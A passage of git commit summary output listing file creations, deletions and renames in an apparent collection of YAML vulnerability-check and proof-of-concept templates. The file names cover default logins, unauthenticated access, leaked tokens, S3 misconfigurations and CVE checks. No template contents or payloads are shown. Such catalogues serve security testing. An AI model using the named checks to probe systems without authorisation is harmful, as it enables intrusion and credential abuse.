poc/auth/aims-password-mgmt-client-221.yaml delete mode 100644 poc/auth/aims-password-portal-224.yaml rename poc/auth/{airflow-default-login.yaml => airflow-default-login-234.yaml} (100%) delete mode 100644 poc/auth/airflow-default-login-235.yaml create mode 100644 poc/auth/alibaba-mongoshake-unauth.yaml rename poc/auth/{amazon-mws-auth-token-value.yaml => amazon-mws-auth-token.yaml} (100%) mode change 100755 => 100644 create mode 100644 "poc/auth/amazon-mws-auth-token_\351\207\215\345\244\215\345\211\257\346\234\254.yaml" create mode 100644 poc/auth/ambari-default-login-287.yaml delete mode 100644 poc/auth/amcrest-login-296.yaml create mode 100644 poc/auth/amcrest-login-297.yaml delete mode 100644 poc/auth/ametys-admin-login-300.yaml create mode 100644 poc/auth/ametys-admin-login-302.yaml create mode 100644 poc/auth/apache-dubbo-unauth.yaml rename poc/auth/{apache-flink-unauth-rce-355.yaml => apache-flink-unauth-rce-356.yaml} (100%) create mode 100644 poc/auth/apache-flink-unauth-rce.yaml create mode 100644 poc/auth/apache-rocketmq-broker-unauth.yaml create mode 100644 poc/auth/api-onelogin-472.yaml delete mode 100644 poc/auth/api-onelogin.yaml delete mode 100644 poc/auth/apollo-default-login-521.yaml delete mode 100644 poc/auth/apple-app-site-association-525.yaml create mode 100644 poc/auth/argocd-login-535.yaml create mode 100644 poc/auth/arl-default-login-537.yaml delete mode 100644 poc/auth/arl-default-login-539.yaml create mode 100644 poc/auth/asus-rtn16-default-login.yaml create mode 100644 poc/auth/asus-wl500g-default-login.yaml create mode 100644 poc/auth/asus-wl520GU-default-login.yaml create mode 100644 poc/auth/atvise-login-590.yaml delete mode 100644 poc/auth/atvise-login.yaml create mode 100644 poc/auth/avatier-password-management.yaml create mode 100644 poc/auth/aws-access-key-value-625.yaml create mode 100644 poc/auth/axiom-digitalocean-key-exposure-666.yaml rename poc/auth/{azkaban-default-login.yaml => azkaban-default-login-671.yaml} (100%) create mode 100644 poc/auth/beyondtrust-login-server-719.yaml create mode 100644 poc/auth/bigbluebutton-login-725.yaml delete mode 100644 poc/auth/bigbluebutton-login-726.yaml delete mode 100644 poc/auth/blue-iris-login-751.yaml create mode 100644 poc/auth/blue-iris-login-754.yaml create mode 100644 poc/auth/bmc-remedy-sso-panel.yaml rename poc/auth/{braintree-access-token-771.yaml => braintree-access-token-773.yaml} (100%) delete mode 100644 poc/auth/braintree-access-token.yaml rename poc/auth/{branch-key-775.yaml => branch-key-774.yaml} (100%) rename poc/auth/{brother-unauthorized-access-793.yaml => brother-unauthorized-access-792.yaml} (100%) create mode 100644 poc/auth/businessintelligence-default-login-817.yaml rename poc/auth/{businessintelligence-default-login-816.yaml => businessintelligence-default-login.yaml} (100%) create mode 100644 poc/auth/cambium-networks-default-login.yaml delete mode 100644 poc/auth/canal-default-login-846.yaml create mode 100644 poc/auth/canal-default-login-849.yaml delete mode 100644 poc/auth/chinaunicom-default-login-906.yaml rename poc/auth/{chinaunicom-default-login.yaml => chinaunicom-default-login-909.yaml} (100%) delete mode 100644 poc/auth/cisco-finesse-login-938.yaml create mode 100644 poc/auth/cisco-finesse-login-940.yaml delete mode 100644 poc/auth/cisco-systems-login-973.yaml create mode 100644 poc/auth/cisco-systems-login-975.yaml delete mode 100644 poc/auth/cisco-ucs-kvm-login-979.yaml create mode 100644 poc/auth/cisco-ucs-kvm-login-980.yaml create mode 100644 poc/auth/clamav-unauth.yaml delete mode 100644 poc/auth/clave-login-panel-994.yaml create mode 100644 poc/auth/clave-login-panel-996.yaml delete mode 100644 poc/auth/clickhouse-unauth-1003.yaml create mode 100644 poc/auth/clickhouse-unauth-1004.yaml create mode 100644 poc/auth/cobbler-default-login-1118.yaml delete mode 100644 poc/auth/cobbler-default-login-1119.yaml rename poc/auth/{codian-mcu-login-1139.yaml => codian-mcu-login-1140.yaml} (100%) delete mode 100644 poc/auth/codian-mcu-login.yaml create mode 100644 poc/auth/credential-exposure-1249.yaml rename poc/auth/{credentials-1258.yaml => credentials-1257.yaml} (100%) create mode 100644 poc/auth/credentials-disclosure-1255.yaml delete mode 100644 poc/auth/credentials-disclosure-1256.yaml create mode 100644 poc/auth/crush-ftp-login-1275.yaml create mode 100644 poc/auth/crushftp-anonymous-login.yaml create mode 100644 poc/auth/cs-cart-unauthenticated-lfi-1282.yaml delete mode 100644 poc/auth/cs-cart-unauthenticated-lfi.yaml delete mode 100644 poc/auth/cx-cloud-login-6764.yaml create mode 100644 poc/auth/cx-cloud-login-6765.yaml delete mode 100644 poc/auth/dell-idrac-default-login-6942.yaml rename poc/auth/{dell-idrac-default-login.yaml => dell-idrac-default-login-6945.yaml} (100%) delete mode 100644 poc/auth/dell-idrac9-default-login-6932.yaml create mode 100644 poc/auth/dericam-login-6962.yaml create mode 100644 poc/auth/digital-watchdog-default-login.yaml delete mode 100644 poc/auth/directadmin-login-panel-7000.yaml create mode 100644 poc/auth/directadmin-login-panel-7001.yaml create mode 100644 poc/auth/dlink-unauth-cgi-script.yaml delete mode 100644 poc/auth/druid-default-login-7097.yaml create mode 100644 poc/auth/dubbo-admin-default-login-7121.yaml rename poc/auth/{dubbo-admin-default-login-7120.yaml => dubbo-admin-default-login.yaml} (100%) delete mode 100644 poc/auth/dvwa-default-login-7129.yaml rename poc/auth/{dvwa-headless-automatic-login-7131.yaml => dvwa-headless-automatic-login-7130.yaml} (100%) create mode 100644 poc/auth/emcecom-default-login-7211.yaml create mode 100644 poc/auth/emqx-default-login-7221.yaml create mode 100644 poc/auth/ems-login-panel-7225.yaml delete mode 100644 poc/auth/epmp-login-7232.yaml rename poc/auth/{faraday-login-7396.yaml => faraday-login-7393.yaml} (100%) create mode 100644 poc/auth/faraday-login-7397.yaml delete mode 100644 poc/auth/fatpipe-auth-bypass-7431.yaml create mode 100644 poc/auth/fatpipe-auth-bypass.yaml delete mode 100644 poc/auth/fcm-server-key-7453.yaml create mode 100644 poc/auth/fcm-server-key-7454.yaml create mode 100644 poc/auth/flir-default-login.yaml create mode 100644 poc/auth/frp-default-login-7559.yaml create mode 100644 poc/auth/frp-default-login.yaml create mode 100644 poc/auth/ftp-weak-credentials-7569.yaml create mode 100644 poc/auth/genieacs-default-jwt.yaml create mode 100644 poc/auth/git-credentials-disclosure-7641.yaml create mode 100644 poc/auth/gitlab-public-signup-7683.yaml rename poc/auth/{gitlab-weak-login.yaml => gitlab-weak-login-7704.yaml} (100%) create mode 100644 poc/auth/glpi-authentication-7730.yaml delete mode 100644 poc/auth/glpi-default-login-7732.yaml delete mode 100644 poc/auth/glpi-default-login.yaml create mode 100644 poc/auth/gmail-api-client-secrets-7741.yaml create mode 100644 poc/auth/google-api-key-7769.yaml delete mode 100644 poc/auth/google-earth-dlogin.yaml create mode 100644 poc/auth/gophish-default-login-7794.yaml create mode 100644 poc/auth/grafana-public-signup-7816.yaml delete mode 100644 poc/auth/grafana-public-signup-7817.yaml create mode 100644 poc/auth/gt-ac2900-login.yaml delete mode 100644 poc/auth/guacamole-default-login-7861.yaml create mode 100644 poc/auth/guacamole-default-login.yaml create mode 100644 poc/auth/hivemanager-login-panel-7963.yaml delete mode 100644 poc/auth/hivemanager-login-panel-7965.yaml create mode 100644 poc/auth/hp-switch-default-login-8035.yaml delete mode 100644 poc/auth/hp-switch-default-login-8036.yaml create mode 100644 poc/auth/hpe-system-management-login-8017.yaml create mode 100755 poc/auth/huawei-HG532e-default-login.yaml mode change 100755 => 100644 poc/auth/huawei-HG532e-default-router-login.yaml delete mode 100644 poc/auth/huawei-hg532e-default-router-login-8064.yaml delete mode 100644 poc/auth/huawei-router-auth-bypass-8076.yaml create mode 100644 poc/auth/iam-db-auth.yaml create mode 100644 poc/auth/iam-key-rotation-90days.yaml create mode 100644 poc/auth/iam-ssh-keys-rotation.yaml create mode 100644 poc/auth/ibm-mqseries-default-login-8107.yaml delete mode 100644 poc/auth/ibm-mqseries-default-login.yaml rename poc/auth/{ibm-note-login-8111.yaml => ibm-note-login-8110.yaml} (100%) delete mode 100644 poc/auth/icinga-web-login-8136.yaml create mode 100644 poc/auth/idemia-biometrics-default-login-8138.yaml create mode 100644 poc/auth/imgproxy-unauth.yaml delete mode 100644 poc/auth/inspur-clusterengine-default-login.yaml create mode 100644 poc/auth/intelbras-dvr-unauth.yaml delete mode 100644 poc/auth/iptime-default-login.yaml delete mode 100644 poc/auth/jenkins-login-8277.yaml create mode 100644 poc/auth/jenkins-login-detection.yaml rename poc/auth/{jfrog-unauth-build-exposed-8299.yaml => jfrog-unauth-build-exposed-8302.yaml} (100%) create mode 100644 poc/auth/jinher-oa-default-login-8311.yaml delete mode 100644 poc/auth/jinher-oa-default-login.yaml delete mode 100644 poc/auth/jira-service-desk-signup-8317.yaml create mode 100644 poc/auth/jira-service-desk-signup-8321.yaml delete mode 100644 poc/auth/jira-unauthenticated-dashboards-8324.yaml create mode 100644 poc/auth/jira-unauthenticated-dashboards-8326.yaml delete mode 100644 poc/auth/jira-unauthenticated-installed-gadgets-8330.yaml create mode 100644 poc/auth/jira-unauthenticated-popular-filters-8331.yaml delete mode 100644 poc/auth/jira-unauthenticated-projectcategories.yaml delete mode 100644 poc/auth/jira-unauthenticated-projects-8335.yaml create mode 100644 poc/auth/jira-unauthenticated-projects.yaml delete mode 100644 poc/auth/jmx-default-login.yaml rename poc/auth/{jupyterhub-default-login-8400.yaml => jupyterhub-default-login.yaml} (100%) rename poc/auth/{jwt-token.yaml => jwt-token-8408.yaml} (100%) delete mode 100644 poc/auth/jwt-token-8410.yaml create mode 100644 poc/auth/kafka-center-default-login-8415.yaml delete mode 100644 poc/auth/kafka-center-login-8418.yaml create mode 100644 poc/auth/kafka-center-login-8419.yaml create mode 100644 poc/auth/kenesto-login-8444.yaml delete mode 100644 poc/auth/kenesto-login-8445.yaml create mode 100644 poc/auth/kentico-login-8446.yaml create mode 100644 poc/auth/key-cloak-admin-panel-8468.yaml delete mode 100644 poc/auth/key-cloak-admin-panel-8470.yaml create mode 100644 poc/auth/keycloak-json-8472.yaml delete mode 100644 poc/auth/keycloak-json-8473.yaml create mode 100644 poc/auth/keycloak-xss-8480.yaml delete mode 100644 poc/auth/keycloak-xss-8482.yaml delete mode 100644 poc/auth/kiwitcms-login-8497.yaml create mode 100644 poc/auth/kube-api-secrets-8512.yaml delete mode 100644 poc/auth/kube-api-secrets.yaml rename poc/auth/{kubernetes-unauth(1).yaml => kubernetes-unauth.yaml} (100%) create mode 100644 poc/auth/lucee-login-8662.yaml delete mode 100644 poc/auth/lucee-login-8663.yaml create mode 100644 poc/auth/lutron-iot-default-login-8675.yaml delete mode 100644 poc/auth/lutron-iot-default-login-8678.yaml create mode 100644 poc/auth/meshcentral-login-8801.yaml delete mode 100644 poc/auth/meshcentral-login-8803.yaml create mode 100644 poc/auth/minio-default-login-8887.yaml create mode 100644 poc/auth/mlflow-unauth.yaml create mode 100644 poc/auth/mofi4500-default-login-8913.yaml delete mode 100644 poc/auth/mongodb-unauth-8926.yaml create mode 100644 poc/auth/mongodb-unauth.yaml create mode 100644 poc/auth/mysql-default-login.yaml delete mode 100644 poc/auth/mysql-native-password-8980.yaml delete mode 100644 poc/auth/nagios-default-login-8994.yaml delete mode 100644 poc/auth/nagios-default-login.yaml delete mode 100644 poc/auth/netsus-default-login-9058.yaml create mode 100644 poc/auth/nexus-default-login-9088.yaml rename poc/auth/{nps-default-login.yaml => nps-default-login-9144.yaml} (100%) delete mode 100644 poc/auth/nuuno-network-login.yaml create mode 100644 poc/auth/oauth2-detect.yaml delete mode 100644 poc/auth/octobercms-default-login-9192.yaml create mode 100644 poc/auth/octobercms-default-login-9193.yaml rename poc/auth/{open-stack-dashboard-login-9321.yaml => open-stack-dashboard-login-9324.yaml} (100%) delete mode 100644 poc/auth/openbmcs-secret-disclosure-9260.yaml create mode 100644 poc/auth/openbmcs-secret-disclosure.yaml create mode 100644 poc/auth/openemr-default-login.yaml delete mode 100644 poc/auth/openwrt-login-9333.yaml create mode 100644 poc/auth/oracle-ebs-credentials-9365.yaml delete mode 100644 poc/auth/panabit-default-login-9440.yaml create mode 100644 poc/auth/panabit-ixcache-default-login.yaml create mode 100644 poc/auth/panos-default-login-9457.yaml create mode 100644 poc/auth/panos-default-login.yaml create mode 100644 poc/auth/pentaho-default-login.yaml create mode 100644 poc/auth/pgsql-empty-password.yaml create mode 100644 poc/auth/pgsql-list-password-hashes.yaml create mode 100644 poc/auth/pictatic-api-key-9575.yaml delete mode 100644 poc/auth/pictatic-api-key-9576.yaml rename poc/auth/{pieregister-open-redirect.yaml => pieregister-open-redirect-9579.yaml} (100%) delete mode 100644 poc/auth/polycom-login-9625.yaml create mode 100644 poc/auth/polycom-login-9627.yaml delete mode 100644 poc/auth/possible-AEM-secrets.yaml create mode 100644 poc/auth/putty-private-key-disclosure-9731.yaml delete mode 100644 poc/auth/putty-private-key-disclosure-9732.yaml delete mode 100644 poc/auth/rails-secret-token-disclosure-9809.yaml create mode 100644 poc/auth/rails-secret-token-disclosure-9810.yaml create mode 100644 poc/auth/rainloop-default-login-9813.yaml rename poc/auth/{rancher-default-login-9815.yaml => rancher-default-login.yaml} (100%) delete mode 100644 poc/auth/ranger-default-login-9827.yaml create mode 100644 poc/auth/redis-require-auth.yaml delete mode 100644 poc/auth/rseenet-default-login-9913.yaml create mode 100644 poc/auth/s3-auth-fullcontrol.yaml create mode 100644 poc/auth/s3-bucket-key.yaml create mode 100644 poc/auth/safenet-authentication-panel.yaml create mode 100644 poc/auth/samsung-wlan-default-login-10018.yaml delete mode 100644 poc/auth/seats-login-10106.yaml create mode 100644 poc/auth/seats-login-10108.yaml delete mode 100644 poc/auth/secnet-ac-default-login.yaml delete mode 100644 poc/auth/seeddms-default-login-10127.yaml create mode 100644 poc/auth/seeddms-default-login.yaml delete mode 100644 poc/auth/sequoiadb-default-login.yaml create mode 100644 poc/auth/service-pwd-10178.yaml delete mode 100644 poc/auth/servicedesk-login-panel-10171.yaml create mode 100644 poc/auth/servicedesk-login-panel-10173.yaml delete mode 100644 poc/auth/sgp-login-panel-10185.yaml delete mode 100644 poc/auth/shopify-custom-token-10198.yaml rename poc/auth/{shopify-custom-token(1).yaml => shopify-custom-token-11860.yaml} (100%) rename poc/auth/{shopify-private-token-11861.yaml => shopify-private-token(1).yaml} (100%) rename poc/auth/{shopify-token-11863.yaml => shopify-token(1).yaml} (100%) delete mode 100644 poc/auth/shoppable-token.yaml create mode 100644 poc/auth/showdoc-default-login-10219.yaml create mode 100644 poc/auth/showdoc-default-login.yaml delete mode 100644 poc/auth/showdoc-default-password-10224.yaml create mode 100644 poc/auth/sitefinity-login-10297.yaml delete mode 100644 poc/auth/sitefinity-login-10299.yaml create mode 100644 poc/auth/siteomat-login-10300.yaml delete mode 100644 poc/auth/siteomat-login-10301.yaml rename poc/auth/{slocum-login-10317.yaml => slocum-login-10316.yaml} (100%) create mode 100644 poc/auth/smb-default-creds.yaml create mode 100644 poc/auth/smb-signing-not-required.yaml delete mode 100644 poc/auth/solar-log-authbypass-10352.yaml create mode 100644 poc/auth/solar-log-authbypass.yaml create mode 100644 poc/auth/solarwinds-default-login-10355.yaml rename poc/auth/{sonarqube-login-10374.yaml => sonarqube-login-10376.yaml} (100%) create mode 100644 poc/auth/sonarqube-token-10380.yaml create mode 100644 poc/auth/soplanning-default-login.yaml create mode 100644 poc/auth/spectracom-default-login-10405.yaml rename poc/auth/{sphider-login-10410.yaml => sphider-login-10407.yaml} (100%) delete mode 100644 poc/auth/splunk-login-10416.yaml rename poc/auth/{square-access-token(1).yaml => square-access-token-11867.yaml} (100%) create mode 100644 poc/auth/square-oauth-secret(1).yaml delete mode 100644 poc/auth/square-oauth-secret-11868.yaml create mode 100644 poc/auth/squirrelmail-login-10521.yaml delete mode 100644 poc/auth/squirrelmail-vkeyboard-xss-10522.yaml create mode 100644 poc/auth/squirrelmail-vkeyboard-xss.yaml rename poc/auth/{stem-audio-table-private-keys-10534.yaml => stem-audio-table-private-keys-10535.yaml} (100%) rename poc/auth/{stripe-api-key-11869.yaml => stripe-api-key(1).yaml} (100%) rename poc/auth/{stripe-secret-key-10556.yaml => stripe-secret-key.yaml} (100%) create mode 100644 poc/auth/structurizr-default-login.yaml delete mode 100644 poc/auth/submitty-login-10567.yaml create mode 100644 poc/auth/submitty-login-10568.yaml create mode 100644 poc/auth/supermicro-default-login.yaml create mode 100644 poc/auth/szhe-default-login-10636.yaml create mode 100644 poc/auth/tendat-credential.yaml delete mode 100644 poc/auth/tidb-unauth-10770.yaml create mode 100644 poc/auth/tidb-unauth.yaml create mode 100644 poc/auth/timekeeper-default-login.yaml delete mode 100644 poc/auth/trilithic-viewpoint-login.yaml delete mode 100644 poc/auth/ucmdb-default-login.yaml create mode 100644 poc/auth/unauth-ftp-10939.yaml delete mode 100644 poc/auth/unauth-ftp-10940.yaml create mode 100644 poc/auth/unauth-message-read-10946.yaml create mode 100644 poc/auth/unauth-psql.yaml create mode 100644 poc/auth/unauth-wavink-panel-10966.yaml delete mode 100644 poc/auth/unauth-wavink-panel.yaml rename poc/auth/{unauth-xproxy-dashboard-10969.yaml => unauth-xproxy-dashboard-10968.yaml} (100%) create mode 100644 poc/auth/unauthenticated-airflow-10887.yaml delete mode 100644 poc/auth/unauthenticated-glances-10898.yaml create mode 100644 poc/auth/unauthenticated-glances.yaml delete mode 100644 poc/auth/unauthenticated-glowroot-10900.yaml create mode 100644 poc/auth/unauthenticated-lansweeper-10904.yaml delete mode 100644 poc/auth/unauthenticated-lansweeper-10906.yaml delete mode 100644 poc/auth/unauthenticated-nacos-access-10912.yaml create mode 100644 poc/auth/unauthenticated-nacos-access-10913.yaml rename poc/auth/{unauthenticated-prtg-10928.yaml => unauthenticated-prtg.yaml} (100%) create mode 100644 poc/auth/unauthenticated-tensorboard-10930.yaml delete mode 100644 poc/auth/unauthenticated-tensorboard.yaml delete mode 100644 poc/auth/unauthenticated-varnish-cache-purge-10931.yaml delete mode 100644 poc/auth/unauthenticated-zipkin-10935.yaml delete mode 100644 poc/auth/unauthorized-h3csecparh-login-10949.yaml create mode 100644 poc/auth/unauthorized-h3csecparh-login.yaml create mode 100644 poc/auth/unauthorized-hp-printer-10951.yaml create mode 100644 poc/auth/unauthorized-plastic-scm-10955.yaml create mode 100644 poc/auth/versa-default-login-11003.yaml create mode 100644 poc/auth/vidyo-default-login-11009.yaml create mode 100644 poc/auth/visionhub-default-login-11029.yaml create mode 100644 poc/auth/visionhub-default-login.yaml create mode 100644 poc/auth/vmware-authentication-daemon-detect.yaml create mode 100644 poc/auth/vpms-auth-bypass-11066.yaml create mode 100644 poc/auth/watchguard-credentials-disclosure-11105.yaml rename poc/auth/{watchguard-credentials-disclosure-11106.yaml => watchguard-credentials-disclosure.yaml} (100%) create mode 100644 poc/auth/wpdm-cache-session-11436.yaml delete mode 100644 poc/auth/wpdm-cache-session-11439.yaml delete mode 100644 poc/auth/wpmudev-pub-keys-11506.yaml create mode 100644 poc/auth/wpmudev-pub-keys-11507.yaml create mode 100644 poc/auth/wso2-default-login-11640.yaml rename poc/auth/{xenforo-login-11674.yaml => xenforo-login-11670.yaml} (100%) delete mode 100644 poc/auth/xenforo-login-11673.yaml create mode 100644 poc/auth/xenmobile-login-11675.yaml delete mode 100644 poc/auth/xenmobile-login-11677.yaml create mode 100644 poc/auth/xvr-login-11702.yaml delete mode 100644 poc/auth/xvr-login-11705.yaml delete mode 100644 poc/auth/xxljob-default-login-11709.yaml create mode 100644 poc/auth/xxljob-default-login.yaml delete mode 100644 poc/auth/zabbix-default-login-11762.yaml create mode 100644 poc/auth/zhiyuan-oa-session-leak-11802.yaml rename poc/auth/{zhiyuan-oa-session-leak-11804.yaml => zhiyuan-oa-session-leak.yaml} (100%) rename poc/auth/{zhiyuan-oa-unauthorized-11808.yaml => zhiyuan-oa-unauthorized-11806.yaml} (100%) delete mode 100644 poc/auth/zimbra-preauth-ssrf-11811.yaml rename poc/auth/{zmanda-default-login-11826.yaml => zmanda-default-login.yaml} (100%) delete mode 100644 poc/auth/zoho-webhook-token-11835.yaml create mode 100644 poc/auth/zoho-webhook-token.yaml create mode 100644 poc/aws/amazon-docker-config-280.yaml delete mode 100644 poc/aws/amazon-docker-config-disclosure-278.yaml delete mode 100644 poc/aws/amazon-docker-config.yaml rename poc/aws/{amazon-mws-auth-token-value.yaml => amazon-mws-auth-token.yaml} (100%) mode change 100755 => 100644 create mode 100644 "poc/aws/amazon-mws-auth-token_\351\207\215\345\244\215\345\211\257\346\234\254.yaml" rename poc/aws/{aws-access-id-620.yaml => aws-access-id-618.yaml} (100%) create mode 100644 poc/aws/aws-access-key-value-625.yaml create mode 100644 poc/aws/aws-bucket-service-628.yaml delete mode 100644 poc/aws/aws-bucket-service.yaml create mode 100644 poc/aws/aws-bucket-takeover-630.yaml delete mode 100644 poc/aws/aws-bucket-takeover-632.yaml create mode 100644 poc/aws/aws-cloudfront-service.yaml create mode 100644 poc/aws/aws-code-env.yaml rename poc/aws/{aws-cognito-636.yaml => aws-cognito-638.yaml} (100%) create mode 100644 poc/aws/aws-ecs-container-agent-tasks-641.yaml create mode 100644 poc/aws/aws-elastic-beanstalk-detect.yaml create mode 100644 poc/aws/aws-redirect-651.yaml create mode 100644 poc/aws/aws-sftp-detect.yaml create mode 100644 poc/aws/awstats-script-657.yaml delete mode 100644 poc/aws/awstats-script-658.yaml create mode 100644 poc/aws/cloudtrail-s3-bucket-logging.yaml create mode 100644 poc/aws/ec2-detection-7162.yaml rename poc/aws/{ec2-detection-7163.yaml => ec2-detection.yaml} (100%) create mode 100644 poc/aws/ec2-imdsv2.yaml create mode 100644 poc/aws/ec2-public-ip.yaml create mode 100644 poc/aws/ec2-sg-egress-open.yaml create mode 100644 poc/aws/ec2-sg-ingress.yaml create mode 100644 poc/aws/mime-types-extended-da21a491c0c1b70fec28427963a101bc.yaml create mode 100644 poc/aws/s3-access-logging.yaml create mode 100644 poc/aws/s3-auth-fullcontrol.yaml create mode 100644 poc/aws/s3-bucket-key.yaml create mode 100644 poc/aws/s3-bucket-policy-public-access.yaml create mode 100644 poc/aws/s3-mfa-delete-check.yaml create mode 100644 poc/aws/s3-object-lock-not-enabled.yaml create mode 100644 poc/aws/s3-public-read-acp.yaml create mode 100644 poc/aws/s3-public-read.yaml create mode 100644 poc/aws/s3-public-write-acp.yaml create mode 100644 poc/aws/s3-public-write.yaml create mode 100644 poc/aws/s3-server-side-encryption.yaml delete mode 100644 poc/aws/s3-subtakeover-9969.yaml create mode 100644 poc/aws/s3-versioning.yaml delete mode 100644 poc/aws/s3cmd-config-9961.yaml create mode 100644 poc/aws/s3cmd-config.yaml create mode 100644 poc/aws/s3hunter-9966.yaml create mode 100644 poc/aws/unencrypted-aws-ami.yaml rename poc/backup/{adb-backup-enabled-63.yaml => adb-backup-enabled-60.yaml} (100%) delete mode 100644 poc/backup/db-backup-lfi-6775.yaml create mode 100644 poc/backup/rds-backup-enable.yaml delete mode 100644 poc/backup/zip-backup-files-11817.yaml delete mode 100644 poc/cisco/cisco-asa-panel-934.yaml delete mode 100644 poc/cisco/cisco-cloudcenter-suite-log4j-rce.yaml create mode 100644 poc/cisco/cisco-cloudcenter-suite-rce.yaml delete mode 100644 poc/cisco/cisco-finesse-login-938.yaml create mode 100644 poc/cisco/cisco-finesse-login-940.yaml create mode 100644 poc/cisco/cisco-implant-detect.yaml delete mode 100644 poc/cisco/cisco-meraki-exposure-944.yaml create mode 100644 poc/cisco/cisco-meraki-exposure-946.yaml delete mode 100644 poc/cisco/cisco-network-config-949.yaml rename poc/cisco/{cisco-prime-infrastructure-954.yaml => cisco-prime-infrastructure-952.yaml} (100%) rename poc/cisco/{cisco-secure-desktop-960.yaml => cisco-secure-desktop-962.yaml} (100%) create mode 100644 poc/cisco/cisco-security-details-963.yaml create mode 100644 poc/cisco/cisco-sendgrid-968.yaml delete mode 100644 poc/cisco/cisco-systems-login-973.yaml create mode 100644 poc/cisco/cisco-systems-login-975.yaml create mode 100644 poc/cisco/cisco-telepresence-976.yaml delete mode 100644 poc/cisco/cisco-telepresence-978.yaml delete mode 100644 poc/cisco/cisco-ucs-kvm-login-979.yaml create mode 100644 poc/cisco/cisco-ucs-kvm-login-980.yaml rename poc/coldfusion/{adobe-coldfusion-detect.yaml => adobe-coldfusion-detect-83.yaml} (100%) rename poc/coldfusion/{adobe-coldfusion-error-detect-86.yaml => adobe-coldfusion-error-detect.yaml} (100%) create mode 100644 poc/coldfusion/unpatched-coldfusion-10979.yaml delete mode 100644 poc/config/aerohive-netconfig-ui.yaml create mode 100644 poc/config/amazon-docker-config-280.yaml delete mode 100644 poc/config/amazon-docker-config-disclosure-278.yaml delete mode 100644 poc/config/amazon-docker-config.yaml create mode 100644 poc/config/ansible-config-disclosure-326.yaml delete mode 100644 poc/config/ansible-config-disclosure.yaml delete mode 100644 poc/config/apache-config-344.yaml create mode 100644 poc/config/apache-config.yaml delete mode 100644 poc/config/api-iconfinder-439.yaml rename poc/config/{bigip-config-utility-detect-733.yaml => bigip-config-utility-detect-730.yaml} (100%) create mode 100644 poc/config/buffalo-config-injection-798.yaml delete mode 100644 poc/config/buffalo-config-injection-801.yaml create mode 100644 poc/config/circleci-config-923.yaml delete mode 100644 poc/config/cisco-network-config-949.yaml create mode 100644 poc/config/configuration-listing-1182.yaml delete mode 100644 poc/config/configuration-listing.yaml create mode 100644 poc/config/confluence-detect-1186.yaml delete mode 100644 poc/config/confluence-detect-1188.yaml rename poc/config/{confluence-ssrf-sharelinks-1190.yaml => confluence-ssrf-sharelinks-1193.yaml} (100%) delete mode 100644 poc/config/confluence-ssrf-sharelinks.yaml delete mode 100644 poc/config/coremail-config-disclosure-1214.yaml create mode 100644 poc/config/coremail-config-disclosure-1216.yaml delete mode 100644 poc/config/cors-misconfig-1221.yaml create mode 100644 poc/config/cors-misconfig.yaml create mode 100644 poc/config/docker-compose-config-7059.yaml delete mode 100644 poc/config/dockercfg-config.yaml create mode 100644 poc/config/extreme-netconfig-ui-7371.yaml delete mode 100644 poc/config/extreme-netconfig-ui-7372.yaml delete mode 100644 poc/config/front-page-misconfig-7547.yaml delete mode 100644 poc/config/ftpconfig-7566.yaml create mode 100644 poc/config/ftpconfig.yaml delete mode 100644 poc/config/git-config-7635.yaml create mode 100644 poc/config/git-config-nginxoffbyslash-7629.yaml create mode 100644 poc/config/github-page-config-7654.yaml delete mode 100644 poc/config/honeywell-scada-config.yaml rename poc/config/{joomla-config-file.yaml => joomla-config-dist-file.yaml} (100%) delete mode 100644 poc/config/joomla-config-file-8376.yaml create mode 100644 poc/config/magento-config-8703.yaml create mode 100644 poc/config/magento-config-disclosure.yaml rename poc/config/{misconfigured-docker-8900.yaml => misconfigured-docker-8902.yaml} (100%) create mode 100644 poc/config/msmtp-config-8967.yaml create mode 100644 poc/config/nginx-config-9099.yaml rename poc/config/{nginx-config-9098.yaml => nginx-config.yaml} (100%) create mode 100644 poc/config/parameters-config-9465.yaml delete mode 100644 poc/config/parameters-config.yaml rename poc/{php/phpmyadmin-sql-9535.yaml => config/phpmyadmin-misconfiguration.yaml} (100%) delete mode 100644 poc/config/prometheus-config-9673.yaml create mode 100644 poc/config/prometheus-config.yaml delete mode 100644 poc/config/rails-database-config.yaml delete mode 100644 poc/config/s3cmd-config-9961.yaml create mode 100644 poc/config/s3cmd-config.yaml create mode 100644 poc/config/samba-config-9987.yaml delete mode 100644 poc/config/springboot-autoconfig-10436.yaml create mode 100644 poc/config/springboot-configprops-10442.yaml delete mode 100644 poc/config/springboot-configprops-10444.yaml delete mode 100644 poc/config/svnserve-config-10590.yaml create mode 100644 poc/config/svnserve-config.yaml delete mode 100644 poc/config/travis-config.yaml rename poc/config/{tugboat-config-exposure-10842.yaml => tugboat-config-exposure-10843.yaml} (100%) delete mode 100644 poc/config/tugboat-config-exposure.yaml rename poc/config/{wamp-server-configuration-11098.yaml => wamp-server-configuration.yaml} (100%) delete mode 100644 poc/config/wordpress-accessible-wpconfig-11235.yaml create mode 100644 poc/crlf_injection/crlf-injection-1260.yaml delete mode 100644 poc/crlf_injection/crlf-injection-1265.yaml rename poc/cross_site_request_forgery/{csrfguard-detect.yaml => csrfguard-detect-1290.yaml} (100%) delete mode 100644 poc/cross_site_request_forgery/csrfguard-detect-1291.yaml create mode 100644 poc/cve/CNVD-2017-06001.yaml create mode 100644 poc/cve/CNVD-2019-19299.yaml create mode 100644 poc/cve/CNVD-2021-26422.yaml rename poc/cve/{cnvd-2021-28277-1105.yaml => CNVD-2021-28277.yaml} (100%) create mode 100644 poc/cve/CVE-2001-1473.yaml create mode 100644 poc/cve/CVE-2008-7175-ca3d8af1bfdc512f2bdde607183e196a.yaml create mode 100644 poc/cve/CVE-2018-6605.yaml create mode 100644 poc/cve/CVE-2018-7314.yaml create mode 100644 poc/cve/CVE-2019-7139.yaml create mode 100644 poc/cve/CVE-2019-9193.yaml create mode 100644 poc/cve/CVE-2021-35323.yaml rename poc/cve/cve-2021-20837.yaml => "poc/cve/CVE-2021\342\200\22320837.yaml" (100%) create mode 100644 poc/cve/CVE-2022-0666.yaml create mode 100644 poc/cve/CVE-2022-0921.yaml create mode 100644 poc/cve/CVE-2022-34534.yaml create mode 100644 poc/cve/CVE-2022-47501.yaml create mode 100644 poc/cve/CVE-2023-27032.yaml create mode 100644 poc/cve/CVE-2023-35162.yaml create mode 100644 poc/cve/CVE-2023-42343.yaml create mode 100644 poc/cve/CVE-2023-48023.yaml create mode 100644 poc/cve/CVE-2023-48777.yaml create mode 100644 poc/cve/CVE-2023-48795.yaml create mode 100644 poc/cve/CVE-2023-49070.yaml create mode 100644 poc/cve/CVE-2023-50890-aa376aae510c39a36baec69a6468b0f5.yaml create mode 100644 poc/cve/CVE-2023-51467.yaml create mode 